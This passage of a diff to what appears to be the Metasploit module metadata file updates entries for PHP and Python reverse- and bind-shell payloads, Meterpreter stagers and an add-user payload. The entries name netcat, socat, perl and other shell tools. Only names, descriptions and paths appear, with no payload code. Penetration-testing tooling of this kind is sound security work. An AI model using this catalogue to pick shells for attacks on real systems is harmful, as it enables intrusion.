PHP Reverse TCP Stager", "fullname": "payload/php/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250063,24 +250557,21 @@ "OJ Reeves" ], "description": "Run a meterpreter server in PHP.\n\nReverse PHP connect back stager with checks for disabled functions", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/php/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "php/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -250091,9 +250582,7 @@ "payload_php/meterpreter_reverse_tcp": { "name": "PHP Meterpreter, Reverse TCP Inline", "fullname": "payload/php/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250101,60 +250590,21 @@ "egypt " ], "description": "Connect back to attacker and spawn a Meterpreter server (PHP)", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:27:15 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "php/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 1, - "staged": false - }, - "payload_php/reverse_perl": { - "name": "PHP Command, Double Reverse TCP Connection (via Perl)", - "fullname": "payload/php/reverse_perl", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "cazz " - ], - "description": "Creates an interactive shell via perl", - "references": [ - - ], - "platform": "PHP", - "arch": "php", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2024-09-17 21:39:45 +0000", - "path": "/modules/payloads/singles/php/reverse_perl.rb", - "is_install_path": true, - "ref_name": "php/reverse_perl", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250163,9 +250613,7 @@ "payload_php/reverse_php": { "name": "PHP Command Shell, Reverse TCP (via PHP)", "fullname": "payload/php/reverse_php", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -250173,24 +250621,21 @@ "egypt " ], "description": "Reverse PHP connect back shell with checks for disabled functions", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/php/reverse_php.rb", "is_install_path": true, "ref_name": "php/reverse_php", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -250199,1027 +250644,2679 @@ "payload_php/shell_findsock": { "name": "PHP Command Shell, Find Sock", "fullname": "payload/php/shell_findsock", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "egypt " ], - "description": "Spawn a shell on the established connection to\n the webserver. Unfortunately, this payload\n can leave conspicuous evil-looking entries in the\n apache error logs, so it is probably a good idea\n to use a bind or reverse shell unless firewalls\n prevent them from working. The issue this\n payload takes advantage of (CLOEXEC flag not set\n on sockets) appears to have been patched on the\n Ubuntu version of Apache and may not work on\n other Debian-based distributions. Only tested on\n Apache but it might work on other web servers\n that leak file descriptors to child processes.", - "references": [ - - ], + "description": "Spawn a shell on the established connection to\n the webserver. Unfortunately, this payload\n can leave conspicuous evil-looking entries in the\n apache error logs, so it is probably a good idea\n to use a bind or reverse shell unless firewalls\n prevent them from working. The issue this\n payload takes advantage of (CLOEXEC flag not set\n on sockets) appears to have been patched on the\n Ubuntu version of Apache and may not work on\n other Debian-based distributions. Only tested on\n Apache but it might work on other web servers\n that leak file descriptors to child processes.", + "references": [], "platform": "PHP", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-09 14:44:21 +0000", "path": "/modules/payloads/singles/php/shell_findsock.rb", "is_install_path": true, "ref_name": "php/shell_findsock", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, "staged": false }, - "payload_python/exec": { - "name": "Python Execute Command", - "fullname": "payload/python/exec", - "aliases": [ - - ], + "payload_php/unix/cmd/adduser": { + "name": "OS Command Exec, Add user with useradd", + "fullname": "payload/php/unix/cmd/adduser", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" - ], - "description": "Execute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.", - "references": [ - + "Spencer McIntyre", + "Nick Cottrell " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nCreates a new user. By default the new user is set with sudo\nbut other options exist to make the new user automatically\nroot but this is not automatically set since the new user will\nbe treated as root (and login may be difficult). The new user\ncan also be set as just a standard user if desired.", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-04 10:43:40 +0000", - "path": "/modules/payloads/singles/python/exec.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/exec", + "ref_name": "php/unix/cmd/adduser", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/adduser", "staged": false }, - "payload_python/meterpreter/bind_tcp": { - "name": "Python Meterpreter, Python Bind TCP Stager", - "fullname": "payload/python/meterpreter/bind_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_awk": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via AWK)", + "fullname": "payload/php/unix/cmd/bind_awk", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" - ], - "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", - "references": [ - + "Spencer McIntyre", + "espreto ", + "Ulisses Castro " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via GNU AWK", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/stagers/python/bind_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter/bind_tcp", + "ref_name": "php/unix/cmd/bind_awk", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "python/meterpreter", - "stager_refname": "python/bind_tcp" + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_awk", + "staged": false }, - "payload_python/meterpreter/bind_tcp_uuid": { - "name": "Python Meterpreter, Python Bind TCP Stager with UUID Support", - "fullname": "payload/python/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_busybox_telnetd": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via BusyBox telnetd)", + "fullname": "payload/php/unix/cmd/bind_busybox_telnetd", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre", - "OJ Reeves" - ], - "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", - "references": [ - + "Matthew Kienow " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via BusyBox telnetd", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/stagers/python/bind_tcp_uuid.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter/bind_tcp_uuid", + "ref_name": "php/unix/cmd/bind_busybox_telnetd", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "python/meterpreter", - "stager_refname": "python/bind_tcp_uuid" + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_busybox_telnetd", + "staged": false }, - "payload_python/meterpreter/reverse_http": { - "name": "Python Meterpreter, Python Reverse HTTP Stager", - "fullname": "payload/python/meterpreter/reverse_http", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_inetd": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (inetd)", + "fullname": "payload/php/unix/cmd/bind_inetd", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" - ], - "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", - "references": [ - + "Spencer McIntyre", + "hdm " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell (persistent)", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/stagers/python/reverse_http.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter/reverse_http", + "ref_name": "php/unix/cmd/bind_inetd", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "python/meterpreter", - "stager_refname": "python/reverse_http" + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_inetd", + "staged": false }, - "payload_python/meterpreter/reverse_https": { - "name": "Python Meterpreter, Python Reverse HTTPS Stager", - "fullname": "payload/python/meterpreter/reverse_https", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_jjs": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via jjs)", + "fullname": "payload/php/unix/cmd/bind_jjs", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Spencer McIntyre", + "conerpirate", + "bcoles " ], - "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via jjs", "references": [ - + "URL-https://gtfobins.github.io/gtfobins/jjs/", + "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", + "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" ], - "platform": "Python", - "arch": "python", + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-08 10:26:27 +0000", - "path": "/modules/payloads/stagers/python/reverse_https.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter/reverse_https", + "ref_name": "php/unix/cmd/bind_jjs", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "python/meterpreter", - "stager_refname": "python/reverse_https" + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_jjs", + "staged": false }, - "payload_python/meterpreter/reverse_tcp": { - "name": "Python Meterpreter, Python Reverse TCP Stager", - "fullname": "payload/python/meterpreter/reverse_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_lua": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via Lua)", + "fullname": "payload/php/unix/cmd/bind_lua", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" - ], - "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", - "references": [ - + "Spencer McIntyre", + "xistence " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via Lua", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/stagers/python/reverse_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter/reverse_tcp", + "ref_name": "php/unix/cmd/bind_lua", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "python/meterpreter", - "stager_refname": "python/reverse_tcp" + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_lua", + "staged": false }, - "payload_python/meterpreter/reverse_tcp_ssl": { - "name": "Python Meterpreter, Python Reverse TCP SSL Stager", - "fullname": "payload/python/meterpreter/reverse_tcp_ssl", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_netcat": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via netcat)", + "fullname": "payload/php/unix/cmd/bind_netcat", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre", - "Ben Campbell ", - "RageLtMan" - ], - "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", - "references": [ - + "m-1-k-3", + "egypt ", + "juan vazquez " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via netcat", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/stagers/python/reverse_tcp_ssl.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter/reverse_tcp_ssl", + "ref_name": "php/unix/cmd/bind_netcat", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "python/meterpreter", - "stager_refname": "python/reverse_tcp_ssl" + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_netcat", + "staged": false }, - "payload_python/meterpreter/reverse_tcp_uuid": { - "name": "Python Meterpreter, Python Reverse TCP Stager with UUID Support", - "fullname": "payload/python/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_netcat_gaping": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via netcat -e)", + "fullname": "payload/php/unix/cmd/bind_netcat_gaping", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre", - "OJ Reeves" - ], - "description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", - "references": [ - + "hdm " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via netcat", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/stagers/python/reverse_tcp_uuid.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter/reverse_tcp_uuid", + "ref_name": "php/unix/cmd/bind_netcat_gaping", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 2, - "staged": true, - "stage_refname": "python/meterpreter", - "stager_refname": "python/reverse_tcp_uuid" + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_netcat_gaping", + "staged": false }, - "payload_python/meterpreter_bind_tcp": { - "name": "Python Meterpreter Shell, Bind TCP Inline", - "fullname": "payload/python/meterpreter_bind_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_netcat_gaping_ipv6": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via netcat -e) IPv6", + "fullname": "payload/php/unix/cmd/bind_netcat_gaping_ipv6", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" - ], - "description": "Connect to the victim and spawn a Meterpreter shell", - "references": [ - + "Spencer McIntyre", + "hdm " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via netcat", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter_bind_tcp", + "ref_name": "php/unix/cmd/bind_netcat_gaping_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_netcat_gaping_ipv6", "staged": false }, - "payload_python/meterpreter_reverse_http": { - "name": "Python Meterpreter Shell, Reverse HTTP Inline", - "fullname": "payload/python/meterpreter_reverse_http", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_nodejs": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via nodejs)", + "fullname": "payload/php/unix/cmd/bind_nodejs", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" - ], - "description": "Connect back to the attacker and spawn a Meterpreter shell", - "references": [ - + "Spencer McIntyre", + "joev " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nContinually listen for a connection and spawn a command shell via nodejs", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter_reverse_http", + "ref_name": "php/unix/cmd/bind_nodejs", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_nodejs", "staged": false }, - "payload_python/meterpreter_reverse_https": { - "name": "Python Meterpreter Shell, Reverse HTTPS Inline", - "fullname": "payload/python/meterpreter_reverse_https", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_perl": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via Perl)", + "fullname": "payload/php/unix/cmd/bind_perl", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" - ], - "description": "Connect back to the attacker and spawn a Meterpreter shell", - "references": [ - + "Spencer McIntyre", + "Samy ", + "cazz " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via perl", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter_reverse_https", + "ref_name": "php/unix/cmd/bind_perl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_perl", "staged": false }, - "payload_python/meterpreter_reverse_tcp": { - "name": "Python Meterpreter Shell, Reverse TCP Inline", - "fullname": "payload/python/meterpreter_reverse_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_perl_ipv6": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via perl) IPv6", + "fullname": "payload/php/unix/cmd/bind_perl_ipv6", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" - ], - "description": "Connect back to the attacker and spawn a Meterpreter shell", - "references": [ - + "Spencer McIntyre", + "Samy ", + "cazz " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nListen for a connection and spawn a command shell via perl", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-05 15:58:10 +0000", - "path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/meterpreter_reverse_tcp", + "ref_name": "php/unix/cmd/bind_perl_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_perl_ipv6", "staged": false }, - "payload_python/pingback_bind_tcp": { - "name": "Python Pingback, Bind TCP (via python)", - "fullname": "payload/python/pingback_bind_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_r": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via R)", + "fullname": "payload/php/unix/cmd/bind_r", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "asoto-r7" - ], - "description": "Listens for a connection from the attacker, sends a UUID, then terminates", - "references": [ - + "Spencer McIntyre", + "RageLtMan " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nContinually listen for a connection and spawn a command shell via R", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-21 16:49:25 +0000", - "path": "/modules/payloads/singles/python/pingback_bind_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/pingback_bind_tcp", + "ref_name": "php/unix/cmd/bind_r", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_r", "staged": false }, - "payload_python/pingback_reverse_tcp": { - "name": "Python Pingback, Reverse TCP (via python)", - "fullname": "payload/python/pingback_reverse_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_ruby": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via Ruby)", + "fullname": "payload/php/unix/cmd/bind_ruby", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "asoto-r7" - ], - "description": "Connects back to the attacker, sends a UUID, then terminates", - "references": [ - + "Spencer McIntyre", + "kris katterjohn " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nContinually listen for a connection and spawn a command shell via Ruby", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-21 16:49:25 +0000", - "path": "/modules/payloads/singles/python/pingback_reverse_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/pingback_reverse_tcp", + "ref_name": "php/unix/cmd/bind_ruby", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_ruby", "staged": false }, - "payload_python/shell_bind_tcp": { - "name": "Command Shell, Bind TCP (via python)", - "fullname": "payload/python/shell_bind_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_ruby_ipv6": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP (via Ruby) IPv6", + "fullname": "payload/php/unix/cmd/bind_ruby_ipv6", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "mumbai" - ], - "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - + "Spencer McIntyre", + "kris katterjohn " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nContinually listen for a connection and spawn a command shell via Ruby", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-08 06:44:37 +0000", - "path": "/modules/payloads/singles/python/shell_bind_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/shell_bind_tcp", + "ref_name": "php/unix/cmd/bind_ruby_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_ruby_ipv6", "staged": false }, - "payload_python/shell_reverse_sctp": { - "name": "Command Shell, Reverse SCTP (via python)", - "fullname": "payload/python/shell_reverse_sctp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_socat_sctp": { + "name": "OS Command Exec, Unix Command Shell, Bind SCTP (via socat)", + "fullname": "payload/php/unix/cmd/bind_socat_sctp", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ + "Spencer McIntyre", "RageLtMan " ], - "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via socat", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-08 06:44:37 +0000", - "path": "/modules/payloads/singles/python/shell_reverse_sctp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/shell_reverse_sctp", + "ref_name": "php/unix/cmd/bind_socat_sctp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_socat_sctp", "staged": false }, - "payload_python/shell_reverse_tcp": { - "name": "Command Shell, Reverse TCP (via python)", - "fullname": "payload/python/shell_reverse_tcp", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_socat_udp": { + "name": "OS Command Exec, Unix Command Shell, Bind UDP (via socat)", + "fullname": "payload/php/unix/cmd/bind_socat_udp", + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ - "Ben Campbell " - ], - "description": "Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - + "Spencer McIntyre", + "RageLtMan " ], - "platform": "Python", - "arch": "python", + "description": "Execute an OS command from PHP.\n\nCreates an interactive shell via socat", + "references": [], + "platform": "PHP", + "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-08 06:52:33 +0000", - "path": "/modules/payloads/singles/python/shell_reverse_tcp.rb", + "mod_time": "2025-05-09 16:09:15 +0000", + "path": "/modules/payloads/adapters/php/unix/cmd.rb", "is_install_path": true, - "ref_name": "python/shell_reverse_tcp", + "ref_name": "php/unix/cmd/bind_socat_udp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "payload_type": 1, + "payload_type": 8, + "adapter_refname": "php/unix/cmd", + "adapted_refname": "cmd/unix/bind_socat_udp", "staged": false }, - "payload_python/shell_reverse_tcp_ssl": { - "name": "Command Shell, Reverse TCP SSL (via python)", - "fullname": "payload/python/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "payload_php/unix/cmd/bind_stub": { + "name": "OS Command Exec, Unix Command Shell, Bind TCP 